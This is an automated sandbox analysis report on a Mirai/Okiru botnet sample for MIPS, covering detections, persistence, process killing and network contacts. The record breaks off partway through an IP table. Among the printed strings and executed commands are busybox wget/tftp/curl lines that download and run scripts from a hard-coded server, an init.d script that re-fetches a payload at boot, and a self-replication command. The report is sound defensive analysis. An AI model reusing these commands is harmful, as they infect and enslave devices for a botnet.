Linux Analysis Report
mipsel.nn.elf

Overview

General Information

Sample name: mipsel.nn.elf
Analysis ID: 1579413
MD5: dcd0eb0c397f50bf3da046fa45e6e33c
SHA1: 3ee4f8fb660c1fcd8079a194f086b7c018833aa8
SHA256: 99c38e674eb7469051932cae892081bb9504a17f21caa6ce1e676e4e6621326c
Tags: elfuser-abuse_ch
Infos:

Detection

Mirai, Okiru
Score: 92
Range: 0 - 100
Whitelisted: false

Signatures

Antivirus / Scanner detection for submitted sample
Multi AV Scanner detection for submitted file
Yara detected Mirai
Yara detected Okiru
Connects to many ports of the same IP (likely port scanning)
Drops files in suspicious directories
Sample tries to persist itself using /etc/profile
Sample tries to persist itself using System V runlevels
Sample tries to set files in /etc globally writable
Detected TCP or UDP traffic on non-standard ports
Enumerates processes within the "proc" file system
Executes commands using a shell command-line interpreter
Executes the "chmod" command used to modify permissions
Executes the "mkdir" command used to create folders
Executes the "systemctl" command used for controlling the systemd system and service manager
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Sample listens on a socket
Sample tries to kill a process (SIGKILL)
Sample tries to set the executable flag
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Uses the "uname" system call to query kernel version information (possible evasion)
Writes shell script file to disk with an unusual file extension

Classification

Name Description Attribution Blogpost URLs Link
Mirai Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

AV Detection
barindex
Antivirus / Scanner detection for submitted sample
Source: mipsel.nn.elf Avira: detected
Multi AV Scanner detection for submitted file
Source: mipsel.nn.elf ReversingLabs: Detection: 42%
Source: mipsel.nn.elf Virustotal: Detection: 39% Perma Link
Found strings indicative of a multi-platform dropper
Source: mipsel.nn.elf String: tmpfs/tmp/ttsize=10M/tmp/tt/system/proc/%d/proc/proc/%u/statusPPid:/proc/%u/cmdline-bash-sh/bin/sh94.156.227.234Found And Killed Process: PID=%d, Realpath=%s, Bot-ID:%s2surf2/proc/%d/exe/ /proc-altered/tmp/./fd/socket/proc/%d/mountinfo/usr/lib/systemd/*/usr/sbin/*/usr/sbin/agetty/usr/sbin/cron/usr/lib/policykit-1/polkitd/snap/snapd/15534/usr/lib/snapd/snapd/usr/bin/dbus-daemon/usr/lib/openssh/sftp-server-sshd**deamon*/usr/libexec/openssh/sftp-server/opt/app/monitor/z/secom//usr/lib/usr/mnt/sys/bin/boot/media/srv/sbin/lib/etc/dev/telnetbashhttpdtelnetddropbearropbearencoder/var/tmp/wlancontwlancontarm.nnarm5.nnarm6.nnm68k.nnmips.nnmipsel.nnpowerpc.nnsparc.nnx86_32.nnx86_64.nntelnet.nn/initvar/Challengeapp/hi3511gmDVRiboxusr/dvr_main _8182T_1108mnt/mtd/app/guivar/Kylinl0 c/udevdanko-app/ankosample _8182T_1104var/tmp/soniahicorestm_hi3511_dvr/bin/busybox/usr/lib/systemd/systemdshellvar/run/home/Davincisshwatchdog/var/spool/var/Sofiasshd/usr/compress/bin//compress/bin/compress/usr//root/dvr_gui//root/dvr_app//anko-app//opt/wgetcurlping/pswiresharkechotcpdumpnetstatpythoniptablesnanonvimvimgdbpkillkillallapt/bin/loginmalloc[start_pid_hopping] Failed to clone: %s
Source: mipsel.nn.elf String: incorrectinvalidbadwrongfaildeniederrorretryenableshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> .ksh .k/bin/busybox wget http://94.156.227.233/lol.sh -O- | sh;/bin/busybox tftp -g http://94.156.227.233/ -r lol.sh -l- | sh;/bin/busybox ftpget http://94.156.227.233/ lol.sh lol.sh && sh lol.sh;curl http://94.156.227.233/curl.sh -o- | sh94.156.227.233GET /dlr. HTTP/1.0

Networking
barindex
Connects to many ports of the same IP (likely port scanning)
Source: global traffic TCP traffic: 94.156.227.234 ports 38242,199,2,3,4,8
Detected TCP or UDP traffic on non-standard ports
Source: global traffic TCP traffic: 192.168.2.23:60024 -> 94.156.227.234:38242
Sample listens on a socket
Source: /tmp/mipsel.nn.elf (PID: 6240) Socket: 0.0.0.0:38242 Jump to behavior
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Source: global traffic TCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443
Source: global traffic TCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
Source: global traffic TCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80
Source: unknown TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown TCP traffic detected without corresponding DNS query: 137.124.215.66
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 124.70.186.59
Source: unknown TCP traffic detected without corresponding DNS query: 137.124.215.66
Source: unknown TCP traffic detected without corresponding DNS query: 57.36.153.77
Source: unknown TCP traffic detected without corresponding DNS query: 86.106.67.47
Source: unknown TCP traffic detected without corresponding DNS query: 116.44.234.135
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 124.70.186.59
Source: unknown TCP traffic detected without corresponding DNS query: 32.200.73.234
Source: unknown TCP traffic detected without corresponding DNS query: 170.244.44.24
Source: unknown TCP traffic detected without corresponding DNS query: 160.106.126.203
Source: unknown TCP traffic detected without corresponding DNS query: 42.157.115.51
Source: unknown TCP traffic detected without corresponding DNS query: 120.207.151.94
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 150.16.254.205
Source: unknown TCP traffic detected without corresponding DNS query: 7.239.250.174
Source: unknown TCP traffic detected without corresponding DNS query: 57.36.153.77
Source: unknown TCP traffic detected without corresponding DNS query: 89.84.24.208
Source: unknown TCP traffic detected without corresponding DNS query: 160.90.218.72
Source: unknown TCP traffic detected without corresponding DNS query: 44.155.212.8
Source: unknown TCP traffic detected without corresponding DNS query: 86.106.67.47
Source: unknown TCP traffic detected without corresponding DNS query: 123.171.15.139
Source: unknown TCP traffic detected without corresponding DNS query: 163.71.37.102
Source: unknown TCP traffic detected without corresponding DNS query: 116.44.234.135
Source: unknown TCP traffic detected without corresponding DNS query: 193.206.71.90
Source: unknown TCP traffic detected without corresponding DNS query: 50.139.141.195
Source: unknown TCP traffic detected without corresponding DNS query: 66.4.21.214
Source: unknown TCP traffic detected without corresponding DNS query: 126.145.215.175
Source: unknown TCP traffic detected without corresponding DNS query: 2.247.99.27
Source: unknown TCP traffic detected without corresponding DNS query: 71.174.117.242
Source: unknown TCP traffic detected without corresponding DNS query: 30.217.220.53
Source: unknown TCP traffic detected without corresponding DNS query: 153.140.164.140
Source: unknown TCP traffic detected without corresponding DNS query: 200.36.182.40
Source: unknown TCP traffic detected without corresponding DNS query: 37.82.38.196
Source: unknown TCP traffic detected without corresponding DNS query: 200.136.95.42
Source: unknown TCP traffic detected without corresponding DNS query: 169.219.154.150
Source: unknown TCP traffic detected without corresponding DNS query: 32.200.73.234
Source: unknown TCP traffic detected without corresponding DNS query: 163.21.192.162
Source: unknown TCP traffic detected without corresponding DNS query: 170.244.44.24
Source: unknown TCP traffic detected without corresponding DNS query: 203.54.4.163
Source: unknown TCP traffic detected without corresponding DNS query: 122.153.238.225
Source: unknown TCP traffic detected without corresponding DNS query: 160.106.126.203
Source: unknown TCP traffic detected without corresponding DNS query: 153.139.181.105
Source: unknown TCP traffic detected without corresponding DNS query: 42.157.115.51
Source: unknown TCP traffic detected without corresponding DNS query: 202.246.241.248
Source: unknown TCP traffic detected without corresponding DNS query: 120.207.151.94
Source: unknown TCP traffic detected without corresponding DNS query: 75.111.13.185
Source: mipsel.nn.elf, mipsel.nn.elf.32.dr, profile.12.dr, system.12.dr, inittab.12.dr, bootcmd.12.dr, custom.service.12.dr String found in binary or memory: http://94.156.227.233/
Source: mipsel.nn.elf String found in binary or memory: http://94.156.227.233/curl.sh
Source: mipsel.nn.elf String found in binary or memory: http://94.156.227.233/lol.sh
Source: mipsel.nn.elf String found in binary or memory: http://94.156.227.233/oro1vk/usr/sbin/reboot/usr/bin/reboot/usr/sbin/shutdown/usr/bin/shutdown/usr/s
Source: unknown Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 42836 -> 443
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Source: Initial sample String containing 'busybox' found: /bin/busybox
Source: Initial sample String containing 'busybox' found: tmpfs/tmp/ttsize=10M/tmp/tt/system/proc/%d/proc/proc/%u/statusPPid:/proc/%u/cmdline-bash-sh/bin/sh94.156.227.234Found And Killed Process: PID=%d, Realpath=%s, Bot-ID:%s2surf2/proc/%d/exe/ /proc-altered/tmp/./fd/socket/proc/%d/mountinfo/usr/lib/systemd/*/usr/sbin/*/usr/sbin/agetty/usr/sbin/cron/usr/lib/policykit-1/polkitd/snap/snapd/15534/usr/lib/snapd/snapd/usr/bin/dbus-daemon/usr/lib/openssh/sftp-server-sshd**deamon*/usr/libexec/openssh/sftp-server/opt/app/monitor/z/secom//usr/lib/usr/mnt/sys/bin/boot/media/srv/sbin/lib/etc/dev/telnetbashhttpdtelnetddropbearropbearencoder/var/tmp/wlancontwlancontarm.nnarm5.nnarm6.nnm68k.nnmips.nnmipsel.nnpowerpc.nnsparc.nnx86_32.nnx86_64.nntelnet.nn/initvar/Challengeapp/hi3511gmDVRiboxusr/dvr_main _8182T_1108mnt/mtd/app/guivar/Kylinl0 c/udevdanko-app/ankosample _8182T_1104var/tmp/soniahicorestm_hi3511_dvr/bin/busybox/usr/lib/systemd/systemdshellvar/run/home/Davincisshwatchdog/var/spool/var/Sofiasshd/usr/compress/bin//compress/bin/compress/usr//root/dvr_gui//root/dvr_app//ank
Source: Initial sample String containing 'busybox' found: usage: busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox hostname PBOC
Source: Initial sample String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample String containing 'busybox' found: /bin/busybox wget http://94.156.227.233/lol.sh -O- | sh;
Source: Initial sample String containing 'busybox' found: /bin/busybox tftp -g http://94.156.227.233/ -r lol.sh -l- | sh;
Source: Initial sample String containing 'busybox' found: /bin/busybox ftpget http://94.156.227.233/ lol.sh lol.sh && sh lol.sh;
Source: Initial sample String containing 'busybox' found: /bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrep
Source: Initial sample String containing 'busybox' found: incorrectinvalidbadwrongfaildeniederrorretryenableshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> .ksh .k/bin/busybox wget http://94.156.227.233/lol.sh -O- | sh;/bin/busybox tftp -g http://94.156.227.233/ -r lol.sh -l- | sh;/bin/busybox ftpget http://94.156.227.233/ lol.sh lol.sh && sh lol.sh;curl http://94.156.227.233/curl.sh -o- | sh94.156.227.233GET /dlr. HTTP/1.0
Source: Initial sample String containing 'busybox' found: > .d/bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrepThe Gorilla/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\x28\x64\x65\x6C\x65\x74\x65\x64\x29\x7D\x22\x20\x5D""\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64\x22\x0A\x20\x20""\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4dq
Sample has stripped symbol table
Source: ELF static info symbol of initial sample .symtab present: no
Sample tries to kill a process (SIGKILL)
Source: /tmp/mipsel.nn.elf (PID: 6340) SIGKILL sent: pid: 788, result: successful Jump to behavior
Source: /tmp/mipsel.nn.elf (PID: 6340) SIGKILL sent: pid: 884, result: successful Jump to behavior
Source: /tmp/mipsel.nn.elf (PID: 6340) SIGKILL sent: pid: 1664, result: successful Jump to behavior
Source: /tmp/mipsel.nn.elf (PID: 6340) SIGKILL sent: pid: 2096, result: successful Jump to behavior
Source: /tmp/mipsel.nn.elf (PID: 6340) SIGKILL sent: pid: 2102, result: successful Jump to behavior
Source: /tmp/mipsel.nn.elf (PID: 6340) SIGKILL sent: pid: 6279, result: successful Jump to behavior
Source: /tmp/mipsel.nn.elf (PID: 6340) SIGKILL sent: pid: 6411, result: successful Jump to behavior
Source: classification engine Classification label: mal92.spre.troj.evad.linELF@0/10@0/0

Persistence and Installation Behavior
barindex
Sample tries to persist itself using /etc/profile
Source: /tmp/mipsel.nn.elf (PID: 6240) File: /etc/profile Jump to behavior
Sample tries to persist itself using System V runlevels
Source: /tmp/mipsel.nn.elf (PID: 6240) File: /etc/rc.local Jump to behavior
Source: /usr/bin/ln (PID: 6299) File: /etc/rcS.d/S99system -> /etc/init.d/system Jump to behavior
Source: /usr/bin/ln (PID: 6322) File: /etc/rc.d/S99mipsel.nn.elf -> /etc/init.d/mipsel.nn.elf Jump to behavior
Sample tries to set files in /etc globally writable
Source: /tmp/mipsel.nn.elf (PID: 6240) File: /etc/rc.local (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Source: /usr/bin/chmod (PID: 6292) File: /etc/init.d/system (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Source: /usr/bin/chmod (PID: 6310) File: /etc/init.d/mipsel.nn.elf (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Enumerates processes within the "proc" file system
Source: /tmp/mipsel.nn.elf (PID: 6327) File opened: /proc/6450/status Jump to behavior
Source: /tmp/mipsel.nn.elf (PID: 6327) File opened: /proc/6452/status Jump to behavior
Source: /tmp/mipsel.nn.elf (PID: 6327) File opened: /proc/6451/status Jump to behavior
Source: /tmp/mipsel.nn.elf (PID: 6327) File opened: /proc/6410/status Jump to behavior
Source: /tmp/mipsel.nn.elf (PID: 6327) File opened: /proc/6454/status Jump to behavior
Source: /tmp/mipsel.nn.elf (PID: 6327) File opened: /proc/6453/status Jump to behavior
Source: /tmp/mipsel.nn.elf (PID: 6327) File opened: /proc/6456/status Jump to behavior
Source: /tmp/mipsel.nn.elf (PID: 6327) File opened: /proc/6411/status Jump to behavior
Source: /tmp/mipsel.nn.elf (PID: 6327) File opened: /proc/6455/status Jump to behavior
Source: /tmp/mipsel.nn.elf (PID: 6327) File opened: /proc/1477/cmdline Jump to behavior
Source: /tmp/mipsel.nn.elf (PID: 6327) File opened: /proc/799/cmdline Jump to behavior
Source: /tmp/mipsel.nn.elf (PID: 6327) File opened: /proc/6447/status Jump to behavior
Source: /tmp/mipsel.nn.elf (PID: 6327) File opened: /proc/6446/status Jump to behavior
Source: /tmp/mipsel.nn.elf (PID: 6327) File opened: /proc/6449/status Jump to behavior
Source: /tmp/mipsel.nn.elf (PID: 6327) File opened: /proc/6448/status Jump to behavior
Source: /tmp/mipsel.nn.elf (PID: 6327) File opened: /proc/6066/cmdline Jump to behavior
Source: /tmp/mipsel.nn.elf (PID: 6327) File opened: /proc/6443/status Jump to behavior
Source: /tmp/mipsel.nn.elf (PID: 6327) File opened: /proc/6445/status Jump to behavior
Source: /tmp/mipsel.nn.elf (PID: 6327) File opened: /proc/6444/status Jump to behavior
Source: /tmp/mipsel.nn.elf (PID: 6327) File opened: /proc/6414/status Jump to behavior
Source: /tmp/mipsel.nn.elf (PID: 6327) File opened: /proc/6458/status Jump to behavior
Source: /tmp/mipsel.nn.elf (PID: 6327) File opened: /proc/6457/status Jump to behavior
Source: /tmp/mipsel.nn.elf (PID: 6327) File opened: /proc/6416/status Jump to behavior
Source: /tmp/mipsel.nn.elf (PID: 6327) File opened: /proc/6415/status Jump to behavior
Source: /tmp/mipsel.nn.elf (PID: 6327) File opened: /proc/6418/status Jump to behavior
Source: /tmp/mipsel.nn.elf (PID: 6327) File opened: /proc/6417/status Jump to behavior
Executes commands using a shell command-line interpreter
Source: /tmp/mipsel.nn.elf (PID: 6261) Shell command executed: sh -c "systemctl enable custom.service >/dev/null 2>&1" Jump to behavior
Source: /tmp/mipsel.nn.elf (PID: 6290) Shell command executed: sh -c "chmod +x /etc/init.d/system >/dev/null 2>&1" Jump to behavior
Source: /tmp/mipsel.nn.elf (PID: 6293) Shell command executed: sh -c "ln -s /etc/init.d/system /etc/rcS.d/S99system >/dev/null 2>&1" Jump to behavior
Source: /tmp/mipsel.nn.elf (PID: 6300) Shell command executed: sh -c "echo \"#!/bin/sh\n# /etc/init.d/mipsel.nn.elf\n\ncase \\\"$1\\\" in\n start)\n echo 'Starting mipsel.nn.elf'\n /tmp/mipsel.nn.elf &\n wget http://94.156.227.233/ -O /tmp/lol.sh\n chmod +x /tmp/lol.sh\n /tmp/lol.sh &\n ;;\n stop)\n echo 'Stopping mipsel.nn.elf'\n killall mipsel.nn.elf\n ;;\n restart)\n $0 stop\n $0 start\n ;;\n *)\n echo \\\"Usage: $0 {start|stop|restart}\\\"\n exit 1\n ;;\nesac\nexit 0\" > /etc/init.d/mipsel.nn.elf" Jump to behavior
Source: /tmp/mipsel.nn.elf (PID: 6305) Shell command executed: sh -c "chmod +x /etc/init.d/mipsel.nn.elf >/dev/null 2>&1" Jump to behavior
Source: /tmp/mipsel.nn.elf (PID: 6311) Shell command executed: sh -c "mkdir -p /etc/rc.d >/dev/null 2>&1" Jump to behavior
Source: /tmp/mipsel.nn.elf (PID: 6317) Shell command executed: sh -c "ln -s /etc/init.d/mipsel.nn.elf /etc/rc.d/S99mipsel.nn.elf >/dev/null 2>&1" Jump to behavior
Executes the "chmod" command used to modify permissions
Source: /bin/sh (PID: 6292) Chmod executable: /usr/bin/chmod -> chmod +x /etc/init.d/system Jump to behavior
Source: /bin/sh (PID: 6310) Chmod executable: /usr/bin/chmod -> chmod +x /etc/init.d/mipsel.nn.elf Jump to behavior
Executes the "mkdir" command used to create folders
Source: /bin/sh (PID: 6316) Mkdir executable: /usr/bin/mkdir -> mkdir -p /etc/rc.d Jump to behavior
Executes the "systemctl" command used for controlling the systemd system and service manager
Source: /bin/sh (PID: 6264) Systemctl executable: /usr/bin/systemctl -> systemctl enable custom.service Jump to behavior
Sample tries to set the executable flag
Source: /tmp/mipsel.nn.elf (PID: 6240) File: /etc/rc.local (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Source: /usr/bin/chmod (PID: 6292) File: /etc/init.d/system (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Source: /usr/bin/chmod (PID: 6310) File: /etc/init.d/mipsel.nn.elf (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Writes shell script file to disk with an unusual file extension
Source: /tmp/mipsel.nn.elf (PID: 6240) Writes shell script file to disk with an unusual file extension: /etc/init.d/system Jump to dropped file
Source: /tmp/mipsel.nn.elf (PID: 6240) Writes shell script file to disk with an unusual file extension: /etc/rc.local Jump to dropped file
Source: /bin/sh (PID: 6300) Writes shell script file to disk with an unusual file extension: /etc/init.d/mipsel.nn.elf Jump to dropped file

Hooking and other Techniques for Hiding and Protection
barindex
Drops files in suspicious directories
Source: /tmp/mipsel.nn.elf (PID: 6240) File: /etc/init.d/system Jump to dropped file
Source: /bin/sh (PID: 6300) File: /etc/init.d/mipsel.nn.elf Jump to dropped file
Uses the "uname" system call to query kernel version information (possible evasion)
Source: /tmp/mipsel.nn.elf (PID: 6240) Queries kernel information via 'uname': Jump to behavior
Source: mipsel.nn.elf, 6240.1.000055aec48aa000.000055aec4952000.rw-.sdmp Binary or memory string: /etc/qemu-binfmt/mipsel
Source: mipsel.nn.elf, 6240.1.00007ffdc7e13000.00007ffdc7e34000.rw-.sdmp Binary or memory string: /qemu-open.XXXXX
Source: mipsel.nn.elf, 6240.1.000055aec48aa000.000055aec4952000.rw-.sdmp Binary or memory string: /usr/bin/vmtoolsd
Source: mipsel.nn.elf, 6240.1.00007ffdc7e13000.00007ffdc7e34000.rw-.sdmp Binary or memory string: x86_64/usr/bin/qemu-mipsel/tmp/mipsel.nn.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/mipsel.nn.elf
Source: mipsel.nn.elf, 6240.1.000055aec48aa000.000055aec4952000.rw-.sdmp Binary or memory string: U!/etc/qemu-binfmt/mipsel
Source: mipsel.nn.elf, 6240.1.000055aec48aa000.000055aec4952000.rw-.sdmp Binary or memory string: U0!/usr/bin/vmtoolsd
Source: mipsel.nn.elf, 6240.1.00007ffdc7e13000.00007ffdc7e34000.rw-.sdmp Binary or memory string: /tmp/qemu-open.F3r1x3
Source: mipsel.nn.elf, 6240.1.00007ffdc7e13000.00007ffdc7e34000.rw-.sdmp Binary or memory string: /usr/bin/qemu-mipsel
Source: mipsel.nn.elf, 6240.1.00007ffdc7e13000.00007ffdc7e34000.rw-.sdmp Binary or memory string: U/tmp/qemu-open.F3r1x3\

Stealing of Sensitive Information
barindex
Yara detected Mirai
Source: Yara match File source: mipsel.nn.elf, type: SAMPLE
Source: Yara match File source: 6240.1.00007fb6c4400000.00007fb6c4421000.r-x.sdmp, type: MEMORY
Yara detected Okiru
Source: Yara match File source: mipsel.nn.elf, type: SAMPLE
Source: Yara match File source: 6240.1.00007fb6c4400000.00007fb6c4421000.r-x.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: mipsel.nn.elf PID: 6240, type: MEMORYSTR

Remote Access Functionality
barindex
Yara detected Mirai
Source: Yara match File source: mipsel.nn.elf, type: SAMPLE
Source: Yara match File source: 6240.1.00007fb6c4400000.00007fb6c4421000.r-x.sdmp, type: MEMORY
Yara detected Okiru
Source: Yara match File source: mipsel.nn.elf, type: SAMPLE
Source: Yara match File source: 6240.1.00007fb6c4400000.00007fb6c4421000.r-x.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: mipsel.nn.elf PID: 6240, type: MEMORYSTR

No Screenshots

  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
16.85.46.116
 unknown United States
unknown unknown false
141.153.175.98
 unknown United States
701 UUNETUS false
102.45.249.42
 unknown Egypt
8452 TE-ASTE-ASEG false
23.140.163.253
 unknown Reserved
394935 PLUSLINE-CORPUS false
44.91.16.167
 unknown United States
7377 UCSDUS false
140.6.22.238
 unknown United States
668 DNIC-AS-00668US false
121.65.228.68
 unknown Korea Republic of
3786 LGDACOMLGDACOMCorporationKR false
161.7.72.236
 unknown United States
3482 MTSTGOVUS false
9.68.222.108
 unknown United States
3356 LEVEL3US false
64.18.40.137
 unknown United States
19616 ACCESS-OHIOUS false
27.201.246.133
 unknown China
4837 CHINA169-BACKBONECHINAUNICOMChina169BackboneCN false
61.211.208.195
 unknown Japan 10010 TOKAITOKAICommunicationsCorporationJP false
114.69.202.214
 unknown New Caledonia
18200 OPT-NC-AS-APOfficedesPostesetTelecommunicationsNew-Cal false
96.247.203.121
 unknown United States
701 UUNETUS false
89.208.241.50
 unknown Canada
25820 IT7NETCA false
124.73.226.217
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
58.8.208.214
 unknown Thailand
17552 TRUE-AS-APTrueInternetCoLtdTH false
171.133.42.3
 unknown United States
9874 STARHUB-MOBILEStarHubLtdSG false
220.58.70.65
 unknown Japan 17676 GIGAINFRASoftbankBBCorpJP false
185.244.20.203
 unknown Russian Federation
47895 R-LINE-ASRU false
88.171.194.132
 unknown France
12322 PROXADFR false
29.3.21.175
 unknown United States
7922 COMCAST-7922US false
170.77.84.2
 unknown United States
27185 DHS-INTERNETUS false
220.177.30.21
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
77.169.188.118
 unknown Netherlands
1136 KPNKPNNationalEU false
133.74.237.150
 unknown Japan 2907 SINET-ASResearchOrganizationofInformationandSystemsN false
122.7.216.72
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
96.63.149.75
 unknown Canada
21804 ACCESS-SKCA false
79.10.226.150
 unknown Italy
3269 ASN-IBSNAZIT false
59.230.212.104
 unknown China
2516 KDDIKDDICORPORATIONJP false
2.247.99.27
 unknown Germany
6805 TDDE-ASN1DE false
183.2.254.247
 unknown China
58543 CHINATELECOM-GUANGDONG-IDCGuangdongCN false
171.103.5.185
 unknown Thailand
7470 TRUEINTERNET-AS-APTRUEINTERNETCoLtdTH false
143.202.251.198
 unknown Brazil
264084 FOXXPROVIDERTELECOMBR false
41.66.30.165
 unknown Cote D'ivoire
29571 ORANGE-COTE-IVOIRECI false
69.195.62.189
 unknown United States
14671 TACONICUS false
9.36.124.206
 unknown United States
3356 LEVEL3US false
25.67.220.192
 unknown United Kingdom
7922 COMCAST-7922US false
27.101.40.27
 unknown Korea Republic of
17841 NCIA-AS-KRNATIONALINFORMATIONRESOURCESSERVICEKR false
131.253.35.135
 unknown United States
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
166.255.234.85
 unknown United States
22394 CELLCOUS false
209.61.69.15
 unknown United States
174 COGENT-174US false
167.249.158.85
 unknown Brazil
265190 InstitutoBrasileirodePlanejamentoTributarioBR false
70.164.45.136
 unknown United States
22773 ASN-CXA-ALL-CCI-22773-RDCUS false
215.213.100.122
 unknown United States
721 DNIC-ASBLK-00721-00726US false
35.8.245.220
 unknown United States
36375 UMICH-AS-5US false
79.85.134.43
 unknown France
15557 LDCOMNETFR false
184.248.244.44
 unknown United States
10507 SPCSUS false
178.102.72.95
 unknown United Kingdom
12576 EELtdGB false
170.102.237.188
 unknown Sweden
209236 HCLTECHNOLOGIES-SE false
156.120.117.127
 unknown United States
393504 XNSTGCA false
52.123.45.58
 unknown United States
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
68.96.244.104
 unknown United States
22773 ASN-CXA-ALL-CCI-22773-RDCUS false
60.147.127.121
 unknown Japan 17676 GIGAINFRASoftbankBBCorpJP false
43.143.48.202
 unknown Japan 4249 LILLY-ASUS false
201.146.234.65
 unknown Mexico
8151 UninetSAdeCVMX false
192.24.88.99
 unknown United States
11492 CABLEONEUS false
182.132.33.187
 unknown China
38283 CHINANET-SCIDC-AS-APCHINANETSiChuanTelecomInternetData false
79.58.67.127
 unknown Italy
3269 ASN-IBSNAZIT false
27.88.105.142
 unknown Japan 2516 KDDIKDDICORPORATIONJP false
24.74.217.237
 unknown United States
11426 TWC-11426-CAROLINASUS false
40.201.33.135
 unknown United States
4249 LILLY-ASUS false
201.144.249.133
 unknown Mexico
8151 UninetSAdeCVMX false
109.137.56.200
 unknown Belgium
5432 PROXIMUS-ISP-ASBE false
219.112.196.97
 unknown Japan 4721 JCNJupiterTelecommunicationsCoLtdJP false
40.87.51.9
 unknown United States
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
138.31.144.22
 unknown United States
600 OARNET-ASUS false
91.145.155.181
 unknown Poland
43939 INTERNETIA_ETTH2-ASNoc-BialystokPL false
116.157.89.240
 unknown China
4847 CNIX-APChinaNetworksInter-ExchangeCN false
73.57.116.51
 unknown United States
7922 COMCAST-7922US false
170.193.12.210
 unknown United States
11685 HNBCOL-ASUS false
86.247.50.46
 unknown France
3215 FranceTelecom-OrangeFR false
43.159.206.201
 unknown Japan 4249 LILLY-ASUS false
120.51.142.12
 unknown Japan 2519 VECTANTARTERIANetworksCorporationJP false
140.111.204.148
 unknown Taiwan; Republic of China (ROC)
7539 TWAREN-TWNationalCenterforHigh-performanceComputingTW false
208.180.27.233
 unknown United States
19108 SUDDENLINK-COMMUNICATIONSUS false
138.136.49.118
 unknown United States
5972 DNIC-ASBLK-05800-06055US false
61.141.200.8
 unknown China
4813 BACKBONE-GUANGDONG-APChinaTelecomGroupCN false
155.0.83.58
 unknown Zambia
37532 ZAMRENZM false
145.199.85.218
 unknown Netherlands
1101 IP-EEND-ASIP-EENDBVNL false
144.195.64.92
 unknown United States
20221 IATACA false
143.168.251.169
 unknown United States
8094 PUKNETZA false
156.52.149.20
 unknown Norway
29695 ALTIBOX_ASNorwayNO false
131.41.46.186
 unknown United States
385 AFCONC-BLOCK1-ASUS false
163.25.54.30
